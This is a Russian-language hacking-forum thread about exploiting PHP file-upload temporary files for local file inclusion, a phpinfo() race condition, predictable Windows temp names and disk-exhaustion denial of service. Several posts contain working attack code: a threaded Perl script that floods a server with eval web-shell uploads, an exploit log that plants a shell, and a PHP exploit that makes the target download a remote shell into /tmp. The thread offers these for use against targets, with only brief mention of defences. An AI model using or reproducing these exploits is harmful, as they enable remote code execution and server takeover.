Впервые представляем Вам альтернативу инклуда лог-файлов и файлов сессий. Вобщем, изучая аплодинг файлов на веб обнаружились некоторые особенности, которые можно очень успешно заюзать. Для начала поясню особенность PHP, которую мы будем эксплуатировать. При обращении к любому пхп-скрипту, если в http-пакете есть масcив _FILES(например, POST: Content-Type: multipart/form-data; ) - то PHP АВТОМАТИЧЕСКИ(file_uploads=On) начинает заливать этот файл во временную папку. php.ini (default) - file_uploads=On - upload_max_filesize=30M - upload_tmp_dir=/tmp - session.serialize_handler=php Временный файл льется в upload_tmp_dir, имя начинается с session.serialize_handler (тут я может быть ошибусь, но суть верна), кончается 6-ти значным рэндомным набором из [a-zA-Z0-9], и размер его не может превышать upload_max_filesize, например: /tmp/php6Dekf9 Временный файл существует во время выполнения скрипта. Далее я поясню как это можно использовать. [1] Инклуд временного файла. a) если есть бесполезный локальный инклуд на сервере, а загрузить ничего нельзя или нельзя использовать нулл-байт, лог-файлы недоступны, и сессии не используются... В результате эксперимента было установленно - при отправке специально сформированного http-пакета: - [Content-Length:] указывается заведомо больше, например 10кб, а данные отправляются на 2кб; - не закрывается заголовок данных, например [------------KseXD1T8WvJUtBSzkT5hn7]. Тоесть пакет обрывается - это делается элементарно с помощью NRG-Tools или других программ. - размер пакета должен быть более 2кб(опытно выяснено), иначе он просто не начнет писаться в файл. ...происходит НЕудаление созданного файла. Сокет ждет до победного конца, умирает, а файл лежит себе в темпе. Поскольку диапазон имени ограничен 1000000*36 комбинациями - мы можем пробрутить имя файла и угадав его - выполнить произвольные команды на сервере. б) имея локальный инклуд на сервере и забытый админом скрипт phpinfo() мы можем сделать следующее: - оправляем на скрипт phpinfo() http-пакет c пхп-кодом. - используя ограничение трафика при помощи прокси-сервера или альтернативу - BWMeter - урезаем прием входящих данных до нескольких десятков байт. - ждем когда скрипт возвратит нам вывод phpinfo() - и тут внимание! параметр [tmp_name] выводится в последних строчках, а как только сокет закроется - временный файл будет удален! мы должны сграбить\скопипастить имя и отправить его на инклуд немедленно. Я не смог найти локальный прокси-сервер, позволяющий регулировать скрость(ширину) канала. Прошу Вас подсказать такой. (Эксперимент был проведен используя BWMeter, из-за чего результаты являются частично достоверными) [2] Также данную особенность можно использовать для серьезного усиления http DoS-атаки. Поскольку тематика ддос-атак на античате запрещена, поясняю это с точки зрения возможной угрозы. Используя в качестве усилителя _FILES данные атакующий способен исчерпать дисковое пространство атакуемого сервера. По умолчанию каждый бот может на каждом подключении занимать до 30Мб дискового пространства в течении времени посылки запроса и загрузки файла + времени на принятие ответа. Время посылки и приема может быть умышленно растянуто для максимального длительного использования свободного места. По времени одно подключение составит 1 мин запроса + 1 мин ответа (в среднем). Даже малочисленный ботнет способен оказывать эффективное давление на сервер с МИНИМАЛЬНЫМ колличеством и скоростью подключений. Более того - как раз медленный канал бота будет более губителен для атакуемого сервера. Выводы делайте сами. В настоящий момент единственный способ противостоять - отключить file_upload в php.ini. ================================= PHP [file_uploads] & [max_execution_time] DoS Exploit Описание: Реализация [file_uploads] в PHP содержит уязвимость, позволяющую удаленному атакующему загрузить на целевой сервер произвольное кол-во файлов, что в итоге повлечет за собой исчерпание свободного дискового пространства в папке временных файлов. Суть уязвимости: Сервер принимает POST-пакет с файлом. Размер пакета указывается заведома больше истинного( как минимум на 5 байт). Якоба незаконченная передача заставляет сервер слушать соединение. Когда время исполнения пхп-скрипта превысит [max_execution_time], процесс выполнения скрипта экстренно завершится фаталл-еррором. При этом кешированный временный файл не будет удален. И так далее. Особенности атаки: - атакующий посылает специально сформированный POST-запрос ("multipart/form-data") , содержащий файл, к любому пхп-скрипту на сервере - размер отсылаемого файла должен быть не больше максимально установленного значения директивы PHP [upload_max_filesize] (Default=30Мб) - Http-хидер "Content-length" указывается как минимум на 5ть байт больше истинного размера пакета. - соединение с сервером поддерживается дольше чем PHP [max_execution_time]. - максимальное время установленного соединения клиент-сервер в фаерволе и веб-демоне(apache) должно быть больше PHP [max_execution_time], иначе соединение разорвется и выполнение скрипта завершится корректно как для отсоединившегося юзера (http://php.su/phphttp/?connhandling) Варианты защиты от атаки: ~ запретить [file_uploads] ~ поставить очистку временной папки ~ указать время установленного соединения клиент-сервер в фаерволе и веб-демоне(apache) менее чем PHP [max_execution_time]
тема хорошая но чето не получается у меня вывести после phpinfo() думаю так как сокет веб сервера продолжает ждать входящих данных так как длина указаао больше поэтому и не выводит ничего а ждет завершения приема данных. хз может я неправ. есть в этом случае как мне представляется два выхода это если существует возможность просматривать /tmp и какие файлы там лежат или если в скрипте после phpinfo идет код подвисающий скрипт. =================================== Эксплуатация _FILES в локальных инклудах. Бага открыта и техника эксплуатации разаработана Шанкаром, описано Электом) При наличии локального инклуда и соответствии его ниже приведенным требованиям - Вы можете без всяких дополнительных телодвижений выполнить PHP-код. Тоесть Вам не потребуется грузить дополнительный файл с шелом на сервер, как аватару например, не нужно заботится об отрубании расширения нулл-байтом! Вкуриваете? +) NEED: register_globals=ON NEED: бажная переменая не должна состоять в _GET, _POST, _COOKIE, тоесть классический случай НЕЗАДАННОЙ переменной вида include($xxx) NEED: мы должны знать имя бажной переменной, например для данного случая bag.php => <?php include $xxx;?> имя переменной "xxx" Суть: Послав специально сформированный "enctype=multipart/form-data" _FILES POST-запрос сожержащий файл с произвольным PHP-кодом, на сервер к скрипту, уязвимому к локальному инклуду по вышеприведенным требованиям, ПОСЛАННЫЙ ФАЙЛ ПРОИНКЛУДИТСЯ И PHP-код СОДЕРЖАЩИЙСЯ В НЕМ ВЫПОЛНИТСЯ!!! Пример: register_globals=ON bag.php PHP: <?php include $xxx; ?> HTML: <form action="http://www.site.com/bag.php" method=post enctype="multipart/form-data"> <input type="file" name="xxx"> <input type="submit"> </form> Выбираем файл с шелом и шлем. =================================== Я считаю, что данный метод есть частный случай эксплуатации бага, описанного на секлабе: http://www.securitylab.ru/vulnerability/241602.php
поясню немного еще: при аплоаде файлов имя поля файла тоесть к примеру 'xxx' в то в скрипте появляется переменная $xxx со значением tmp_name из массива $_FILES тоесть примерно /tmp/php6Dekf9 в итоге загружаемый файло грузитсо в /tmp/php6Dekf9 и инклудится скриптом PHP: <? include $xxx; ?> но соответственно не будет работать если скрипт например такой: PHP: <? include './'.$xxx; ?> и тп тоесть путь не должен изменятся , вы скажете что в таком скрипте можно спокойно проинклудить удаленный файл это конечно так но в случае запрета в настройках php удаленного юзанья файлов можно использовать данную фичу описанную выше. вот собственно и все.
В продолжение "Инклуд временного файла через PHPINFO()". Поковырялся я тут с сабжем. Есть что вам рассказать. Действительно, временный файл удаляется намного раньше чем мы его успеваем считать с вывода phpinfo(). Однако, в том случае, если после вызова пхпинфо идет еще код, то чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его удаления. Пусть есть сервер www.target.com На нем есть вывод phpinfo() - http://www.target.com/i.php А также инклуд - http://www.target.com/index.php?page=[LFI] Казалось бы, мы не можем увеличить время выполнения i.php , а значит ничего не выйдет. Но это не так. Мы можем подключить локально i.php через имеющийся инклуд, а поскольку после инклуда есть еще код , то мы получаем бонусное время задержки, которого при удаче может вполне хватить! http://www.target.com/index.php?page=../../../../../../../www/site/htdocs/public_html/i.php%00 Тогда отправив на такой URL пост-пакет с файлом содержащем PHP-код, построчно считываем ответ. И как только получаем имя временного файла - тянем время не разрывая коннекта, и тут же параллейно инклудим загруженный временный файл с PHP-кодом. Теоритически атаку можно применить к большому числу движков, имеющих инклуд и вывод phpinfo() в админке. Например тотже phplive, где при magic_quotes=on или без доступа к /super нельзя загрузить шелл. Простенький эксплоит, автоматизирующий процесс, прилагается. Я оставил закоментированными дополнительные поля - если потребуется - их можно легко заполнить необходимыми данными, например кукисом или реферером. Эксперимент успешно проведен в локалке на файле с вот таким кодом: 1.php PHP: <?php;phpinfo();?> 2.php PHP: <?php ob_implicit_flush(1); include($_GET['page']); for($i=1;$i<100000;$i++){$bla='bla';} ?> Лог работы для примера: Code: perl phpinfo_lfi.pl" -p "/var/www/html/1.php" -l "http://192.168.1.200/2.php?page=" [+] HOST "192.168.1.200" [+] PHPINFO "/var/www/html/1.php" [+] LFI "http://192.168.1.200/2.php?page=" [-1-] Temp shell uploading. Please wait... Ok! [-2-] Searching temp path to shell... Ok! [+++] Temp path to shell found: "/tmp/phph3444w" [-3-] Try to create new shell... Ok! [+++] New shell created successfully: "/tmp/phph3444wshell" [i] http://192.168.1.200/2.php?page=../../../../../../../../../../.. /../tmp/phph3444wshell По идее надо испытать на админках в разных двигах, где выполняются условия.
В продолжение хочу добавить: к примеру ситуация - есть инклуд с изменяемым началом пути файла, а также конц (если нет возможности урезать ядовитым нулем), но фаер не пускает загрузить шел с другого сайта или к примеру парсится значение на http/ftp etc можно использовать URl php://input и отсылку кода в $HTTP_RAW_POST_DATA тоесть просто POST запросом с enctype="multipart/form-data", массив $_POST при этом остается пустым. не работает при allow_url_include=Off
проверил , у меня сервер досится не от переполнения дискового пространства а от зависшей кучи запросов которые ожидают окончания, а файлы и так сами потом удаляются. error_log:
в общем мучаю все один сайт там LFI но бля пока не нашел чего заинклудить можно - логи не доступны на чтение и тп, в общем все мучаю метод с загрузкой файлов: ну имя темпового файла генерируется из 'a-zA-Z0-9' - длинной в шесть символов с приставкой php следовательно всего возможных комбинаций может быть 68719476736 мы знаем что в одном запросе можно послать сразу несколько файлов, если не ошибаюсь php проверяет размер POST запроса - чтоб был не больше определенного значения, таким образом мы ограничены эх в общем примерно таким скриптом : PHP: #!/usr/bin/perl -w use Socket; use threads; for my $i (1..100) { push @threads, threads->create(\&get_now, $i); } foreach my $thread (@threads) { $thread->join(); } sub get_now { $dataf.="<?php eval(\$_GET['u']);?>"; my $data=''; my $host='localhost'; $requestHeader = "POST / HTTP/1.1\r\n"; $requestHeader.= "Host: ".$host."\r\n"; $requestHeader.= "Content-Type: multipart/form-data; boundary=---------------------------66201975630356\r\n"; $requestHeader.= "Content-Length: 8388605\r\n\r\n"; socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); $iaddr = inet_aton($host); $paddr = sockaddr_in('80', $iaddr); connect(SOCK, $paddr); print SOCK $requestHeader; for($iup=1;$iup<47256;$iup++){ print SOCK "-----------------------------66201975630356\r\n"; print SOCK "Content-Disposition: form-data; name=\"x[".$iup."]\"; filename=\"x\"\r\n"; print SOCK "Content-Type: text/plain\r\n\r\n"; print SOCK "$dataf\r\n\r\n"; } while(<SOCK>){ print $_; } close(SOCK); } создается сразу куча файлов в, сколько именно посчитать не удалось ) но примерно - если /tmp/phpa* - примерно 19k /tmp/phpb* -19k то логически можно предположить что гдето 120k потом апач мне еще показал ; в общем пока не разобрался во всей фигне доконца но очень интересно ) в результате конечно хочу просто создать кучу файлов и наугад уже проинклудить один из них с кодом, пока вероятность всетаки еще очень маленькая гдето 1/60k ) PS замучался чистить свой /tmp после, автоматом ничего не удалилось )
Windows И так если у нас есть возможность на хосте посмотреть phpinfo() то просто посылаем файл на phpinfo и смотрим [tmp_name]: Code: _FILES["xxx"] Array ( [name] => Текстовый документ (5).txt [type] => text/plain [tmp_name] => Z:\tmp\php1FD.tmp [error] => 0 [size] => 949 ) следующим запросом посылаем пхп скрипт снова инклюдим файл Z:\tmp\php1FE.tmp В Win имя файла генерируется так: phpXXXX.tmp где каждый X это шестнадцатиричное значение. Причём каждый новый вызов функции генерации имени просто прибавляет к цифре +1, нули слева обрезаются. Таким образом заливание при наличии phpinfo() сводится к посылке 2 файлов. Если phpinfo отсутствует можно впринципе сбрутить. Всего возможных значений 61440 вариантов( то есть по сути надо посылать файл и ждать пока его название не будет равно например php1111.tmp), потом счётчик сбрасывается. Главное не наступить на подводный камень. Имя генерит win , а не пхп, по этому если какая прога запущеная на сервере захочет создать временный файл, то она также прибавит по единице за каждый файл. но это вообщем то не беда. Тестировалось на WinXP. Но в msdn не сказано что функция или параметры отличаются в разных версиях ОС.
Сегодня пригодился метод который описан в четвертом посте, но к сожалению архив со сплоитом оказался битый, написал на php, может кому пригодится: PHP: <?php set_time_limit(0); function data($host, $path, $code) { $boundary = "---------------------------313223033317673"; # создаем данные с файлом для отправки $head_file = $boundary."\r\n"; $head_file .= "Content-Disposition: form-data; name=\"xxx\"; filename=\"shell.txt\"\r\n"; $head_file .= "Content-Type: text/plain\r\n\r\n"; $head_file .= $code."\r\n"; $head_file .= $boundary."--\r\n"; # создаем запрос для отправки $headers = "POST {$path} HTTP/1.1\r\n"; $headers .= "Host: {$host}\r\n"; $headers .= "Content-Type: multipart/form-data; boundary=".substr($boundary,2,strlen($boundary))."\r\n"; $headers .= "Content-Length: ".strlen($head_file)."\r\n\r\n"; return $headers.$head_file; } function send($host, $path, $code) { # открываем поток if( $socket = fsockopen($host, 80, $errno, $errstr, 30) ) { $data = data($host, $path, $code); # отправляем запрос серверу fwrite($socket, $data); while (!feof($socket)) { if( preg_match_all('/\[tmp_name\] => (.*)/', fread($socket, 32000), $result) ) break; } fclose($socket); # возвращаем временный путь return trim($result[1][0]).'%00'; } else { return false; } } $host = "target.com"; $path = '/bug.php?var=../../../../../..'; $file = '/home/target/htdocs/scripts/phpinfo.php%00'; $targ = $path.$file; $code = "<?php if(copy('http://www.site.com/shell.txt', '/tmp/shell.php')) print 'ooook'; ?>"; for($i=1;$i<21;$i++) { if( $tmp = send($host, $targ, $code) ) { if( preg_match('/ooook/', file_get_contents('http://'.$host.$path.$tmp)) ) { print $i.' shell: http://'.$host.$path.'/tmp/shell.php<br>'; break; } else { print $i.' fail<br>'; } } } ?>